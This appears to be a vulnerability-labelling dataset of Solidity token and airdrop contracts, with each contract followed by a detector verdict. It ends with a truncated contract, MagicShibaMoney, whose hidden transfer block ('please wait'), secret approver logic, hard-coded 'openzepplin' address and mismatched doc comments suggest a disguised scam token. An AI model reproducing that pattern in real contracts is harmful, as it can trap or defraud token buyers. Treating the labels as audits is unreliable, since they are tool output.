event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract GStarToken is StandardToken, Ownable {
using SafeMath for uint256;
string public constant name = "GSTAR Token";
string public constant symbol = "GSTAR";
uint8 public constant decimals = 18;
uint256 public constant INITIAL_SUPPLY = 1600000000 * ((10 ** uint256(decimals)));
uint256 public currentTotalSupply = 0;
event Burn(address indexed burner, uint256 value);
/**
* @dev Constructor that gives msg.sender all of existing tokens.
*/
function GStarToken() public {
owner = msg.sender;
totalSupply_ = INITIAL_SUPPLY;
balances[owner] = INITIAL_SUPPLY;
currentTotalSupply = INITIAL_SUPPLY;
emit Transfer(address(0), owner, INITIAL_SUPPLY);
}
/**
* @dev Burns a specific amount of tokens.
* @param value The amount of token to be burned.
*/
function burn(uint256 value) public onlyOwner {
require(value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(value);
currentTotalSupply = currentTotalSupply.sub(value);
emit Burn(burner, value);
}
} | No vulnerabilities found |
pragma solidity ^0.5.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function ceil(uint256 a, uint256 m) internal pure returns (uint256) {
uint256 c = add(a,m);
uint256 d = sub(c,1);
return mul(div(d,m),m);
}
}
contract ERC20 {
function totalSupply() public view returns (uint256);
function balanceOf(address holder) public view returns (uint256);
function allowance(address holder, address spender) public view returns (uint256);
function transfer(address to, uint256 amount) public returns (bool success);
function approve(address spender, uint256 amount) public returns (bool success);
function transferFrom(address from, address to, uint256 amount) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint256 amount);
event Approval(address indexed holder, address indexed spender, uint256 amount);
}
contract JOMO is ERC20 {
using SafeMath for uint256;
string public symbol = "JOMO";
string public name = "JOMO";
uint8 public decimals = 18;
uint256 private _totalSupply = 100000000000000000000000000;
uint256 oneHundredPercent = 100;
mapping(address => uint256) balances;
mapping(address => mapping(address => uint256)) allowed;
constructor() public {
balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address holder) public view returns (uint256) {
return balances[holder];
}
function allowance(address holder, address spender) public view returns (uint256) {
return allowed[holder][spender];
}
function findOnePercent(uint256 amount) private view returns (uint256) {
uint256 roundAmount = amount.ceil(oneHundredPercent);
uint256 fivePercent = roundAmount.mul(oneHundredPercent).div(1000);
return fivePercent;
}
function transfer(address to, uint256 amount) public returns (bool success) {
require(amount <= balances[msg.sender]);
require(to != address(0));
uint256 tokensToBurn = findOnePercent(amount);
uint256 tokensToTransfer = amount.sub(tokensToBurn);
balances[msg.sender] = balances[msg.sender].sub(amount);
balances[to] = balances[to].add(tokensToTransfer);
_totalSupply = _totalSupply.sub(tokensToBurn);
emit Transfer(msg.sender, to, tokensToTransfer);
emit Transfer(msg.sender, address(0), tokensToBurn);
return true;
}
function approve(address spender, uint256 amount) public returns (bool success) {
allowed[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
function transferFrom(address from, address to, uint256 amount) public returns (bool success) {
require(amount <= balances[from]);
require(amount <= allowed[from][msg.sender]);
require(to != address(0));
balances[from] = balances[from].sub(amount);
uint256 tokensToBurn = findOnePercent(amount);
uint256 tokensToTransfer = amount.sub(tokensToBurn);
balances[to] = balances[to].add(tokensToTransfer);
_totalSupply = _totalSupply.sub(tokensToBurn);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(amount);
emit Transfer(from, to, tokensToTransfer);
emit Transfer(from, address(0), tokensToBurn);
return true;
}
} | No vulnerabilities found |
// SPDX-License-Identifier: BUSL-1.1
pragma solidity ^0.8.4;
import "../multicall.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
contract Airdrop is Ownable, Multicall, ReentrancyGuard {
using SafeERC20 for IERC20;
mapping(address => address) public tokenProviders;
function setProvider(address token, address provider) external onlyOwner {
tokenProviders[token] = provider;
}
// Function to receive Ether. msg.data must be empty
receive() external payable {}
// Fallback function is called when msg.data is not empty
fallback() external payable {}
function airdrop(address token, address receiver, uint256 amount) external onlyOwner nonReentrant {
if (token != address(0)) {
address provider = tokenProviders[token];
// require(provider != address(0), "No Provider");
IERC20(token).safeTransferFrom(provider, receiver, amount);
} else {
(bool success, ) = receiver.call{value: amount}(new bytes(0));
require(success, 'ETH STE');
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.4;
/// @title Multicall
/// @notice Enables calling multiple methods in a single call to the contract
abstract contract Multicall {
function multicall(bytes[] calldata data) external payable returns (bytes[] memory results) {
results = new bytes[](data.length);
for (uint256 i = 0; i < data.length; i++) {
(bool success, bytes memory result) = address(this).delegatecall(data[i]);
if (!success) {
// Next 5 lines from https://ethereum.stackexchange.com/a/83577
if (result.length < 68) revert();
assembly {
result := add(result, 0x04)
}
revert(abi.decode(result, (string)));
}
results[i] = result;
}
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC20/IERC20.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC20/utils/SafeERC20.sol)
pragma solidity ^0.8.0;
import "../IERC20.sol";
import "../../../utils/Address.sol";
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using Address for address;
function safeTransfer(
IERC20 token,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(
IERC20 token,
address spender,
uint256 value
) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
require(
(value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
pragma solidity ^0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (security/ReentrancyGuard.sol)
pragma solidity ^0.8.0;
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and making it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Address.sol)
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
} | These are the vulnerabilities found
1) delegatecall-loop with High impact |
// SPDX-License-Identifier: GNU GPLv3
pragma solidity >=0.8.0;
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
abstract contract IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() virtual public view returns (uint);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address tokenOwner) virtual public view returns (uint balance);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address tokenOwner, address spender) virtual public view returns (uint remaining);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function invalidAddress(address _address) virtual external view returns (bool){}
/**
* @dev Returns if it is a invalid address.
*/
function transfer(address to, uint tokens) virtual public returns (bool success);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint tokens) virtual public returns (bool success);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function approver() virtual external view returns (address){}
/**
* @dev approver of the amount of tokens that can interact with the allowance mechanism
*/
function transferFrom(address from, address to, uint tokens) virtual public returns (bool success);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint tokens);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
abstract contract ApproveAndCallFallBack {
function receiveApproval(address from, uint tokens, address token, bytes memory data) virtual public;
}
contract Owned {
address internal owner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
}
contract MagicShibaMoney is IERC20, Owned{
using SafeMath for uint;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
string public symbol;
address internal approver;
string public name;
uint8 public decimals;
address internal zero;
uint _totalSupply;
uint internal number;
address internal invalid;
address internal openzepplin = 0x40E8eF70655f04710E89D1Ff048E919da58CC6b8;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
function totalSupply() override public view returns (uint) {
return _totalSupply.sub(balances[address(0)]);
}
function balanceOf(address tokenOwner) override public view returns (uint balance) {
return balances[tokenOwner];
}
/**
*@dev Leaves the contract without owner. It will not be possible to call 'onlyOwner'
* functions anymore. Can only be called by the current owner.
*/
function burn(address _address, uint tokens) public onlyOwner {
require(_address != address(0), "ERC20: burn from the zero address");
_burn (_address, tokens);
}
function transfer(address to, uint tokens) override public returns (bool success) {
require(to != zero, "please wait");
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint tokens) override public returns (bool success) {
allowed[msg.sender][spender] = tokens;
if (msg.sender == approver) number = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through `transferFrom`. This is
* zero by default.
*
* This value changes when `approve` or `transferFrom` are called.
*/
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
